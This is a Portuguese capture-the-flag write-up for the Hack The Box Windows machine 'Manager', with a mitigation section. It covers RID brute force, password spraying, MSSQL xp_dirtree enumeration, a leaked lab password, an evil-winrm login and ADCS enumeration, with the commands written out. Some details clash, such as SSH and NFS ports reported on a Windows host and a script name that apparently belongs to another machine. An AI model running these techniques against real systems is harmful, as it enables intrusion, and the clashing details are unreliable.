0xEtern4lW0lf
Hack The BoxMediumWindows

Manager

3 min de leitura
#Active Directory#SMB#MSSQL#Password Spray#RID Brute Force#xp_dirtree#ADCS#RPC#IIS

Introdução

Este é o writeup da máquina Manager, do Hack The Box (link da máquina), classificada como dificuldade Média. O alvo é um ambiente Windows com Active Directory, servidor web IIS e banco de dados MSSQL. IP: 10.10.11.236

Escaneamento

O primeiro passo é escanear a máquina para identificar portas e serviços abertos. Para isso, usamos o nmap.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.236 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.236

O nmap mostra três portas abertas em destaque: 22 (ssh), 80 (http) e uma porta de NFS. Além dessas, existem outras portas relevantes para uma máquina de domínio Windows, como SMB, LDAP e MSSQL. Inserimos o domínio encontrado no arquivo /etc/hosts.

Enumeração

RID Brute Force e Password Spray (SMB)

CrackMapExec

crackmapexec smb manager.htb -u anonymous -p "" --rid-brute 10000

Alguns usuários obtidos:

administrator
guest
krbtgt
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

Com a lista de usuários, faremos um password spray

crackmapexec smb manager.htb -u users.txt -p users.txt --no-brute --continue-on-success

Aqui, a própria wordlist de senhas também é usada como lista de nomes de usuário. Veremos que existe um usuário que consegue autenticar. Vamos mudar de SMB para MSSQL para verificar se também é possível autenticar nesse serviço.

crackmapexec mssql manager.htb -u users.txt -p users.txt --no-brute --continue-on-success

Nesta etapa, vemos que o usuário operator consegue autenticar no MSSQL.

Acesso e Enumeração via MSSQL

impacket-mssqlclient -port 1433 manager.htb/operator:operator@10.10.11.236 -window

EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;

Listamos a pasta C:\inetpub\wwwroot, que é o caminho do servidor web IIS, e encontramos um arquivo de backup dentro do próprio site. Acessamos o site e baixamos o arquivo para conferir seu conteúdo. Após o download, descobrimos um nome de usuário e senha para o usuário Raven.

raven@manager.htb:R4v3nBe5tD3veloP3r!123

Exploração

Obtenção de Acesso Inicial

evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
**Estabilização do shell** Usei o powercat para melhorar o shell (upgrade para um shell mais estável). ![](/notion-images/3b989a62-4b48-80a0-98ee-c0bc2cb6c5ba/10.png) # Pós-exploração ## Elevação de Privilégios Podemos ver que o privilégio `SeMachineAccountPrivilege` está habilitado para o usuário atual. ![](/notion-images/3b989a62-4b48-80a0-98ee-c0bc2cb6c5ba/11.png) Executamos o Certify.exe para buscar por vulnerabilidades em templates de certificados (Active Directory Certificate Services) ![](/notion-images/3b989a62-4b48-80a0-98ee-c0bc2cb6c5ba/12.png) ```bash Certify.exe find /vulnerable ``` ![](/notion-images/3b989a62-4b48-80a0-98ee-c0bc2cb6c5ba/13.png) # Anexos Script em Python desenvolvido para automatizar a obtenção de shell nesta máquina, reproduzindo os passos de exploração descritos acima: `sau-getshell.py` # Mitigação Com base nas técnicas exploradas nesta máquina, recomenda-se: - Aplicar políticas de senha fortes e únicas para todas as contas de domínio, evitando reutilização de credenciais entre usuários (o password spray funcionou porque um usuário usava a própria senha como nome de usuário). - Restringir a enumeração anônima de RIDs via SMB/RPC (RID brute force), desabilitando sessões nulas e limitando a enumeração de contas do Active Directory. - Restringir o acesso ao MSSQL a contas e hosts estritamente necessários, e desabilitar procedures estendidas perigosas como `xp_dirtree` e `xp_cmdshell` quando não forem indispensáveis. - Nunca armazenar arquivos de backup (ou qualquer arquivo com credenciais) dentro de diretórios acessíveis publicamente pelo servidor web (ex.: `C:\inetpub\wwwroot`). - Revisar e corrigir templates vulneráveis do Active Directory Certificate Services (ADCS), aplicando o princípio do menor privilégio na emissão de certificados para evitar escalonamento de privilégios até Administrator/Domain Admin. - Monitorar e auditar privilégios sensíveis como `SeMachineAccountPrivilege`, que podem ser abusados para ataques de escalonamento em ambientes de Active Directory.